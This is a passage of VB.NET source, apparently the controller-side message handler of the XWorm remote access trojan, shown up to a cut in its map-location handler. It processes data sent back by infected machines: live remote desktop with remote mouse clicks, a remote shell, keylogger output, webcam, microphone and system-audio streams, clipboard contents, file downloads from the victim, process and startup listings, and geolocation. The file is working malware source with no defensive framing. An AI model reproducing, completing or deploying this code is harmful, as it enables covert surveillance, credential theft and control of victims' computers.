Imports System.IO Imports System.Threading Imports GMap.NET Imports GMap.NET.MapProviders Imports GMap.NET.WindowsForms Imports GMap.NET.WindowsForms.Markers Imports Microsoft.VisualBasic.CompilerServices Imports NAudio.Wave Imports Newtonsoft.Json Imports XWorm.Stealer Public Class Messages Public Shared F As Main Delegate Sub _Read(ByVal C As Client, ByVal b() As Byte) Public Shared GetCountry As GeoIP = New GeoIP(Application.StartupPath & "\GeoIP.dat") Public Shared Sub Read(ByVal C As Client, ByVal b() As Byte) Try Dim A As String() = Split(BS(AES_Decryptor(b, C)), SettingsHelper.SPL) Select Case A(0) Case "INFO" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Try C.LV = F.Lv1.Items.Insert(0, C.IP.Split(":")(0), GetCountry.LookupCountryCode(C.IP.Split(":")(0)) & ".png") C.LV.Tag = C C.LV.UseItemStyleForSubItems = False C.LV.SubItems.Add(GetCountry.LookupCountryName(C.IP.Split(":")(0))) For i As Integer = 1 To A.Length - 1 C.LV.SubItems.Add(A(i)) Next C.LV.SubItems.Add(GetNotes(A(1))) C.LV.SubItems.Add("0d 0h 0m 0s") C.LV.SubItems.Add("0000 MS") C.LV.SubItems.Add("...") F.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) F._ActiveWindow.Width = 500 SettingsHelper.Online.Add(C) C.ID = C.LV.SubItems(F._ID.Index).Text LVLog(C.IP.Split(":")(0) & " Connected", Color.Green) If SettingsHelper.NOTEF = True Then F.NotifyIcon1.BalloonTipText = "Connected: " & C.IP.Split(":")(0) F.NotifyIcon1.ShowBalloonTip(100) End If Catch ex As Exception Debug.WriteLine("INFO: " & ex.Message) End Try End If Exit Sub Case "RD-" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As RemoteDesktop = My.Application.OpenForms("Monitor : " & A(4)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New RemoteDesktop RD.C = C RD.CID = A(4) RD.Name = "Monitor : " & A(4) RD.Text = "Monitor : " & A(4) RD.Sz = New Size(A(2), A(3)) Dim num30 As Double = 0.0 Dim num31 As Double = Conversions.ToDouble(A(1)) - 1.0 While True Dim num33 As Double = num30 Dim num34 As Double = num31 If num33 > num34 Then Exit While End If RD.Guna2ComboBox2.Items.Add("Device : " & Conversions.ToString(num30)) num30 += 1.0 End While RD.Guna2ComboBox1.SelectedIndex = 2 RD.Guna2ComboBox2.SelectedIndex = 0 RD.Show() End If End If Exit Sub Case "RD+" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As RemoteDesktop = My.Application.OpenForms("Monitor : " & A(4)) If RD IsNot Nothing Then Dim MM = Image.FromStream(New IO.MemoryStream(Decompress(Convert.FromBase64String(A(1))))) RD.Sz = New Size(A(2), A(3)) RD.PictureBox1.Image = MM RD.FPS += 1 If RD.sw.ElapsedMilliseconds >= 1000 Then RD.Text = "Monitor : " & A(4) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength) RD.FPS = 0 RD.sw = Stopwatch.StartNew() End If If RD.ToolStripStatusLabel4.ForeColor = Color.Green Then If b.LongLength > 2048 Then ' > 2KB Try Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(4), "Monitor") MM.Save(fullPath & "\" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg) Catch RD.ToolStripStatusLabel4.ForeColor = Color.Black End Try End If End If If RD.Guna2GradientButton1.Text = "Capturing..." Then If RD.ToolStripStatusLabel5.ForeColor = Color.Green Then Dim Pack As Byte() = SB("RDX" & SettingsHelper.SPL & RD.PictureBox1.Width.ToString & SettingsHelper.SPL & RD.PictureBox1.Height.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) Return End If If RD.ToolStripStatusLabel2.ForeColor = Color.Green Then If RD.op = Nothing Then Else Dim pp As New Point(0, 0) pp.X = RD.op.X pp.Y = RD.op.Y RD.op = Nothing Dim Pack As Byte() = SB("Click" & SettingsHelper.SPL & pp.X & SettingsHelper.SPL & pp.Y & SettingsHelper.SPL) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) End If End If Dim Pack2 As Byte() = SB("RD+" & SettingsHelper.SPL & RD.PictureBox1.Width.ToString & SettingsHelper.SPL & RD.PictureBox1.Height.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & RD.Guna2ComboBox2.SelectedIndex.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack2) End If End If End If Exit Sub Case "shell" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Shell = My.Application.OpenForms("Shell : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Shell RD.C = C RD.Name = "Shell : " & A(1) RD.Text = "Shell : " & A(1) RD.Show() End If End If Exit Sub Case "R/" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Shell = My.Application.OpenForms("Shell : " & A(2)) If RD IsNot Nothing Then RD.Guna2TextBox2.Text &= A(1) RD.Guna2TextBox2.SelectionStart = RD.Guna2TextBox2.Text.Length RD.Guna2TextBox2.ScrollToCaret() RD.Guna2TextBox2.Refresh() End If End If Exit Sub Case "Performance" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Performance = My.Application.OpenForms("Performance : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Performance RD.C = C RD.Name = "Performance : " & A(1) RD.Text = "Performance : " & A(1) RD.Label3.Text = A(2) RD.Label4.Text = A(3) RD.Label6.Text = CTMGORHR(A(4)) RD.Label9.Text = A(5) RD.Label7.Text = A(6) RD.Label12.Text = A(7) & " MHz" RD.Show() End If End If Exit Sub Case "GetPerformance" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Performance = My.Application.OpenForms("Performance : " & A(1)) If RD IsNot Nothing Then RD.Guna2CircleProgressBar1.Value = A(2) RD.Guna2CircleProgressBar2.Value = A(3) RD.Label13.Text = A(4) & " Minutes" End If End If Exit Sub Case "ppp" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ProcessV = My.Application.OpenForms("Process Manager : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New ProcessV RD.C = C RD.Name = "Process Manager : " & A(1) RD.Text = "Process Manager : " & A(1) RD.Show() End If End If Exit Sub Case "R#" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ProcessV = My.Application.OpenForms("Process Manager : " & A(3)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() RD.ImageList1.Images.Clear() Dim _NextProc As String() = Split(A(1), "-=>") For i As Integer = 0 To _NextProc.Length - 1 If _NextProc(i).Length > 0 Then Dim itm As New ListViewItem If _NextProc(i + 1) = A(2) Then itm.ForeColor = Color.Red End If itm.Text = _NextProc(i) itm.SubItems.Add(_NextProc(i + 1)) itm.SubItems.Add(_NextProc(i + 4)) Dim im As Image = Image.FromStream(New MemoryStream(Decompress(Convert.FromBase64String(_NextProc(i + 2))))) RD.ImageList1.Images.Add(_NextProc(i + 1), im) itm.ImageKey = _NextProc(i + 1) itm.ToolTipText = _NextProc(i + 3) RD.ListView1.Items.Add(itm) End If i += 4 Next RD.ToolStripStatusLabel4.Text = "Process [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "StartupManager" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As StartupManager = My.Application.OpenForms("Startup Manager : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New StartupManager RD.C = C RD.Name = "Startup Manager : " & A(1) RD.Text = "Startup Manager : " & A(1) RD.Show() End If End If Exit Sub Case "GetStartup" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As StartupManager = My.Application.OpenForms("Startup Manager : " & A(1)) If RD IsNot Nothing Then Dim _NextProc As String() = Split(A(2), "-=>") For i As Integer = 0 To _NextProc.Length - 1 If _NextProc(i).Length > 0 Then Dim itm As New ListViewItem Dim Type As String = _NextProc(i + 1) itm.Text = _NextProc(i) If Type = "Task" Then itm.ImageIndex = 0 End If If Type = "File" Then itm.ImageIndex = 1 End If If Type = "Reg" Then itm.ImageIndex = 2 End If itm.SubItems.Add(Type) itm.SubItems.Add(_NextProc(i + 2)) itm.ToolTipText = (_NextProc(i + 3)) RD.ListView1.Items.Add(itm) End If i += 3 Next RD.ToolStripStatusLabel4.Text = "Startup [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "Clipboard" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Clipboard = My.Application.OpenForms("Clipboard : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Clipboard RD.C = C RD.Name = "Clipboard : " & A(1) RD.Text = "Clipboard : " & A(1) RD.Show() End If End If Exit Sub Case "GetClipboard" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Clipboard = My.Application.OpenForms("Clipboard : " & A(2)) If RD IsNot Nothing Then RD.RichTextBox1.Text = A(1) End If End If Exit Sub Case "FileM" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New FM RD.C = C RD.CID = A(1) RD.Name = "File Manager : " & A(1) RD.Text = "File Manager : " & A(1) RD.Show() End If End If Exit Sub Case "txtttt" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As TXT = My.Application.OpenForms("Text Viewer : " & A(1)) If RD Is Nothing Then RD = New TXT RD.C = C RD.Name = "Text Viewer : " & A(1) RD.Text = "Text Viewer : " & A(1) RD.Show() End If Try Dim RD1 As TXT = My.Application.OpenForms("Text Viewer : " & A(1)) RD1.Guna2TextBox1.Text = A(2) RD1.Guna2TextBox2.Text = A(3) Catch End Try End If Exit Sub Case "viewimage" Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) Try Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2)))) RD.PictureBox1.Image = Image.FromStream(MM) MM.Dispose() Catch End Try Exit Sub Case "Hash" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Hash = My.Application.OpenForms("File Hash : " & A(1) & " (" & A(3) & ")") If RD Is Nothing Then RD = New Hash RD.C = C RD.Name = "File Hash : " & A(1) & " (" & A(3) & ")" RD.Text = "File Hash : " & A(1) & " (" & A(3) & ")" RD.Show() End If Try Dim RD1 As Hash = My.Application.OpenForms("File Hash : " & A(1) & " (" & A(3) & ")") RD1.Text = "File Hash : " & A(1) & " (" & A(3) & ")" RD1.Guna2TextBox1.Text = A(2) Catch End Try End If Exit Sub Case "downloadedfile" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) If RD IsNot Nothing Then Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1)) If A(3).Contains("\") Or A(3).Contains("/") Or A(1).Contains("\") Or A(1).Contains("/") Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = IO.Path.GetFileName(A(3)) & " Download Blocked!" Else If Not Directory.Exists(fullPath) Then Directory.CreateDirectory(fullPath) End If RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Visible = True IO.File.WriteAllBytes(fullPath & "\" & A(3), Decompress(Convert.FromBase64String(A(2)))) RD.ToolStripStatusLabel1.Text = A(3) & " Download Completed" End If End If End If Exit Sub Case "FileManager" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) If RD IsNot Nothing Then If A(2) = "Error" Then RD.Guna2GradientButton4.PerformClick() RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = A(3) Return Else RD.ListView1.Items.Clear() RD.ImageList1.Images.Clear() Dim Folders As Integer = 0 Dim Files As Integer = 0 RD.ImageList1.Images.Add(0, My.Resources.CD) RD.ImageList1.Images.Add(1, My.Resources.HDD) RD.ImageList1.Images.Add(2, My.Resources.Folder) RD.ImageList1.Images.Add(3, My.Resources.Network) RD.ImageList1.Images.Add(4, My.Resources.USB) Dim allFiles As String() = Split(A(2), "-=>") For i = 0 To allFiles.Length - 3 Dim itm As New ListViewItem itm.Text = allFiles(i) itm.SubItems.Add(allFiles(i + 2)) itm.SubItems.Add("") itm.SubItems.Add(allFiles(i + 1)) If Not itm.Text.StartsWith("[Drive]") And Not itm.Text.StartsWith("[CD]") And Not itm.Text.StartsWith("[Folder]") And Not itm.Text.StartsWith("[USB]") And Not itm.Text.StartsWith("[NET]") Then Dim fsize As Long = Convert.ToInt64(itm.SubItems(3).Text) itm.SubItems(3).Text = BytesToString(fsize) itm.Tag = Convert.ToInt64(allFiles(i + 1)) Dim Extension As String = IO.Path.GetExtension(itm.Text).ToLower itm.SubItems(2).Text = FilesType(itm.Text) If Extension.Length < 1 Then If Not RD.ImageList1.Images.ContainsKey("-=>") Then RD.ImageList1.Images.Add("-=>", GetFileIcon(Extension, IconSize.SHGFI_LARGEICON)) End If itm.ImageKey = "-=>" Else If Not RD.ImageList1.Images.ContainsKey(Extension) Then RD.ImageList1.Images.Add(Extension, GetFileIcon(Extension, IconSize.SHGFI_LARGEICON)) End If itm.ImageKey = Extension End If Files += 1 End If If itm.Text.StartsWith("[Drive]") Then itm.ImageIndex = 1 itm.Text = itm.Text.Substring(7) ElseIf itm.Text.StartsWith("[CD]") Then itm.ImageIndex = 0 itm.Text = itm.Text.Substring(4) ElseIf itm.Text.StartsWith("[USB]") Then itm.ImageIndex = 4 itm.Text = itm.Text.Substring(5) ElseIf itm.Text.StartsWith("[Folder]") Then itm.ImageIndex = 2 itm.Text = itm.Text.Substring(8) itm.SubItems(2).Text = "File Folder" Folders += 1 ElseIf itm.Text.StartsWith("[NET]") Then itm.ImageIndex = 3 itm.Text = itm.Text.Substring(5) End If RD.ListView1.Items.Add(itm) i += 2 Next RD.ToolStripStatusLabel2.Text = "Folder[" & Folders.ToString & "]" & " " & "Files[" & Files.ToString & "]" Try If A(3).ToString.Length > 3 Then RD.Guna2TextBox1.Text = A(3) & "\" End If Catch End Try RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If End If Exit Sub Case "FileManagerMSG" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "FileManagerErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Visible = True RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "Programs" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Programs = My.Application.OpenForms("Installed Programs : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Programs RD.C = C RD.Name = "Installed Programs : " & A(1) RD.Text = "Installed Programs : " & A(1) RD.Show() End If End If Exit Sub Case "GetPrograms" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Programs = My.Application.OpenForms("Installed Programs : " & A(1)) If RD IsNot Nothing Then Dim _NextProc As String() = Split(A(2), "-=>") For i As Integer = 0 To _NextProc.Length - 2 If _NextProc(i).Length > 0 Then Dim itm As New ListViewItem itm.Text = _NextProc(i) itm.SubItems.Add(_NextProc(i + 1)) itm.ImageIndex = 0 RD.ListView1.Items.Add(itm) End If i += 1 Next RD.ToolStripStatusLabel2.Text = "Installed [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "WBCM" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As WebCam = My.Application.OpenForms("WebCam : " & A(2)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New WebCam RD.C = C RD.CID = A(2) RD.Name = "WebCam : " & A(2) RD.Text = "WebCam : " & A(2) For Each XX In Strings.Split(A(1), ("-=>")) If Not XX = Nothing Then RD.Guna2ComboBox2.Items.Add(XX) End If Next RD.Guna2ComboBox2.SelectedIndex += 1 RD.Show() End If End If Exit Sub Case "Cam" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As WebCam = My.Application.OpenForms("WebCam : " & A(2)) If RD IsNot Nothing Then Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(1)))) RD.PictureBox1.Image = Image.FromStream(MM) RD.FPS += 1 If RD.sw.ElapsedMilliseconds >= 1000 Then RD.Text = "WebCam : " & A(2) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength) RD.FPS = 0 RD.sw = Stopwatch.StartNew() End If If RD.ToolStripStatusLabel4.ForeColor = Color.Green Then RD.save(MM) End If If RD.Guna2GradientButton1.Text = "Stop" Then Dim Pack As Byte() = SB("Cam" & SettingsHelper.SPL & RD.Guna2ComboBox2.SelectedIndex.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack) End If End If End If Exit Sub Case "Keylogger" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Keylogger = My.Application.OpenForms("Keylogger : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Keylogger RD.C = C RD.CID = A(1) RD.Name = "Keylogger : " & A(1) RD.Text = "Keylogger : " & A(1) RD.Show() End If End If Exit Sub Case "GetKeylogger" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Keylogger = My.Application.OpenForms("Keylogger : " & A(1)) If RD IsNot Nothing Then RD.Strb.Append(A(2)) RD.T1.Text = RD.Strb.ToString RD.T1.SelectionStart = RD.T1.Text.Length RD.T1.ScrollToCaret() RD.T1.Refresh() End If End If Exit Sub Case "TCPConnection" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As TcpConnectionForm = My.Application.OpenForms("TCP Connections : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New TcpConnectionForm RD.C = C RD.Name = "TCP Connections : " & A(1) RD.Text = "TCP Connections : " & A(1) RD.Show() End If End If Exit Sub Case "GetTCPConnection" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As TcpConnectionForm = My.Application.OpenForms("TCP Connections : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() Dim _NextProc As String() = A(3).Split({"-=>"}, StringSplitOptions.None) For i As Integer = 0 To _NextProc.Length - 1 If _NextProc(i).Length > 0 Then Dim lv As ListViewItem = New ListViewItem With { .Text = (_NextProc(i))} If _NextProc(i) = A(2) Then lv.ForeColor = Color.Red End If lv.SubItems.Add(_NextProc(i + 1)) lv.SubItems.Add(_NextProc(i + 2)) lv.SubItems.Add(_NextProc(i + 3)) lv.ToolTipText = _NextProc(i) lv.ImageIndex = 0 RD.ListView1.Items.Add(lv) End If i += 3 Next RD.ToolStripStatusLabel2.Text = "Connections [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "ActiveWindows" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ACT = My.Application.OpenForms("ActiveWindows : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New ACT RD.C = C RD.Name = "ActiveWindows : " & A(1) RD.Text = "ActiveWindows : " & A(1) RD.Show() End If End If Exit Sub Case "GetWindows" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As ACT = My.Application.OpenForms("ActiveWindows : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() Dim _NextProc As String() = Split(A(2), "-=>") For i As Integer = 0 To _NextProc.Length - 2 If _NextProc(i).Length > 0 Then Dim itm As New ListViewItem itm.Text = _NextProc(i + 1) itm.SubItems.Add(_NextProc(i)) itm.ImageIndex = 0 RD.ListView1.Items.Add(itm) End If i += 1 Next RD.ToolStripStatusLabel2.Text = "Windows [" & RD.ListView1.Items.Count & "]" RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) End If End If Exit Sub Case "Informations" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As INFO = My.Application.OpenForms("Information : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New INFO RD.C = C RD.CID = A(1) RD.Name = "Information : " & A(1) RD.Text = "Information : " & A(1) RD.Show() End If End If Exit Sub Case "GetInformations" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As INFO = My.Application.OpenForms("Information : " & A(1)) If RD IsNot Nothing Then RD.ListView1.Items.Clear() Dim _NextProc As String() = Split(A(2), "-=>") For Each mm As String In _NextProc If Not mm.Contains("Error!") Then Dim itm As New ListViewItem itm.Text = mm itm.ImageKey = Strings.Split(mm, " :")(0).ToLower & ".png" RD.ListView1.Items.Add(itm) End If Next RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize) RD.ToolStripStatusLabel1.ForeColor = Color.Black RD.ToolStripStatusLabel1.Text = "Informations [" & RD.ListView1.Items.Count & "]" End If End If Exit Sub Case "InformationsErr" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As INFO = My.Application.OpenForms("Information : " & A(1)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = A(2) End If End If Exit Sub Case "VOICECHAT" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As VoiceChat = My.Application.OpenForms("Voice Chat : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New VoiceChat RD.C = C RD.Name = "Voice Chat : " & A(1) RD.Text = "Voice Chat : " & A(1) Dim arg_0F_0 As Integer = 0 Dim num As Integer = WaveIn.DeviceCount - 1 For i As Integer = arg_0F_0 To num RD.Guna2ComboBox1.Items.Add(WaveIn.GetCapabilities(i).ProductName) Next If RD.Guna2ComboBox1.Items.Count < 1 Then C.isDisconnected() LVLog("No microphone device can be found!", Color.Red) SettingsHelper.MSGS += 1 Return End If RD.Guna2ComboBox1.SelectedIndex = 0 RD.Show() End If End If Exit Sub Case "MICCM" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As MIC = My.Application.OpenForms("MIC : " & A(2)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New MIC RD.C = C RD.Name = "MIC : " & A(2) RD.Text = "MIC : " & A(2) For Each XX In Strings.Split(A(1), ("-=>")) If Not XX = Nothing Then RD.Guna2ComboBox1.Items.Add(XX) End If Next RD.Guna2ComboBox1.SelectedIndex += 1 Try RD.waveplayer.Init(RD.bwp) RD.waveplayer.Play() Catch End Try RD.Show() End If End If Exit Sub Case "MICGET" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As MIC = My.Application.OpenForms("MIC : " & A(3)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.Text = "Size : " & " [" & BytesToString(b.LongLength) & "]" Try RD.bwp.AddSamples(Decompress(Convert.FromBase64String(A(1))), 0, Convert.ToInt32(A(2))) GC.Collect() Catch End Try End If End If Exit Sub Case "Xchat" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Chat RD.C = C RD.Name = "Chat : " & A(1) RD.Text = "Chat : " & A(1) RD.chatE = False RD.Show() End If End If Exit Sub Case "ENCHAT" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1)) RD.C = C RD.chatE = True RD.Timer1.Enabled = True End If Exit Sub Case "Wchat" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Chat = My.Application.OpenForms("Chat : " & A(1)) If RD IsNot Nothing Then RD.Guna2TextBox2.Text &= (A(2)) RD.Guna2TextBox2.SelectionStart = RD.Guna2TextBox2.Text.Length RD.Guna2TextBox2.ScrollToCaret() RD.Guna2TextBox2.Refresh() Try My.Computer.Audio.Play(Path.Combine(Application.StartupPath, "Sounds", "Chat.wav")) Catch ex As Exception Debug.WriteLine("Wchat: " & ex.Message) End Try End If End If Exit Sub Case "PaSTIME" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Fun = My.Application.OpenForms("Pastime : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Fun RD.C = C RD.Name = "Pastime : " & A(1) RD.Text = "Pastime : " & A(1) RD.Show() End If End If Exit Sub Case "SysSound" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Sound = My.Application.OpenForms("System Sound : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Sound RD.C = C RD.Name = "System Sound : " & A(1) RD.Text = "System Sound : " & A(1) Try RD.waveplayer.Init(RD.bwp) RD.waveplayer.Play() Catch End Try RD.Show() End If End If Exit Sub Case "SNDGet" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Sound = My.Application.OpenForms("System Sound : " & A(3)) If RD IsNot Nothing Then RD.ToolStripStatusLabel1.Text = "Size : " & " [" & BytesToString(b.LongLength) & "]" Try RD.bwp.AddSamples(Decompress(Convert.FromBase64String(A(1))), 0, Convert.ToInt32(A(2))) GC.Collect() Catch End Try End If End If Exit Sub Case "maps" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Maps = My.Application.OpenForms("Location Manager : " & A(1)) If RD IsNot Nothing Then C.isDisconnected() Return End If If RD Is Nothing Then RD = New Maps RD.C = C RD.Name = "Location Manager : " & A(1) RD.Text = "Location Manager : " & A(1) RD.Show() End If End If Exit Sub Case "GMapsapi" If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else Dim RD As Maps = My.Application.OpenForms("Location Manager : " & A(1)) If RD IsNot Nothing Then If A(2) = Nothing Then RD.ToolStripStatusLabel1.ForeColor = Color.Red RD.ToolStripStatusLabel1.Text = "Error!" Return End If RD.ToolStripStatusLabel1.ForeColor = Color.Green RD.ToolStripStatusLabel1.Text = A(2) Try RD.GMapControl1.MapProvider = GMapProviders.GoogleMap RD.GMapControl1.DragButton = MouseButtons.Left RD.GMapControl1.Position = New PointLatLng(A(2).Split(",")(0), A(2).Split(",")(1)) Dim markerOverlay As New 